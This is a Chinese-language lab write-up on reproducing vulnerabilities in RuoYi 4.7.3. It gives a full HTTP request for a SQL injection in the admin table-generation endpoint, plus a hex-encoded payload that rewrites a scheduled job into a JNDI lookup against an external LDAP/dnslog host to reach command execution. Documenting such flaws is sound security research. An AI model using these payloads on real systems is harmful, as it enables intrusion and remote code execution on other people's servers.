Ruoyi-4.7.3

下载https://github.com/yangzongzhuan/RuoYi/releases 找对应的版本即可

Mysql是用phpstudy起的

修改下载源码中application-druid.yml的Mysql连接账号密码,使用Navicat远程连接Mysql数据库,创建一个ry数据库,将源码中的sql文件夹下的两个sql文件放到ry数据库中执行。

使用Ideal进行运行:构建后进行运行。或者导入源码到ideal中后会自动识别到maven然后点击构建。

然后到这个目录下进行运行:

打包Ruoyi为jar文件运行

下载maven并加入环境变量中,可以使用choco工具进行下载,该工具下载后自动导入到环境变量中。

进入若依源码目录并执行:

mvn clean package

打包完成之后,ruoyi-admin.jar 文件在..\RuoYi-4.7.3\ruoyi-admin\target 目录下:

运行jar文件启动服务,这样就不用每次进ideal都要索引一次了。

后台注入

注入存在路径:/tool/gen/createTable

注入POC

POST /tool/gen/createTable HTTP/1.1
cookie: JSESSIONID=9f466c7c-44ff-44eb-8859-4410a58023ad
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.102.131
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 57
Connection: keep-alive

sql=create/**/table/**/test/**/as/**/select/**/database()

Ruoyi-4.7.3修复了snakeyaml ,但可以通过这个sql注入来修改定时任务,进而继续命令执行。

利用注入命令执行

poc

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3035616932782e646e736c6f672e636e2729 WHERE job_id = 1;')

其中0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3035616932782e646e736c6f672e636e2729

javax.naming.InitialContext.lookup('ldap://05ai2x.dnslog.cn') 的16进制编码。

然后再执行我们修改后的命令:

最后得到结果:

通过注入绕过限制进行jndi注入,但是尝试使用jndi打内存马失败。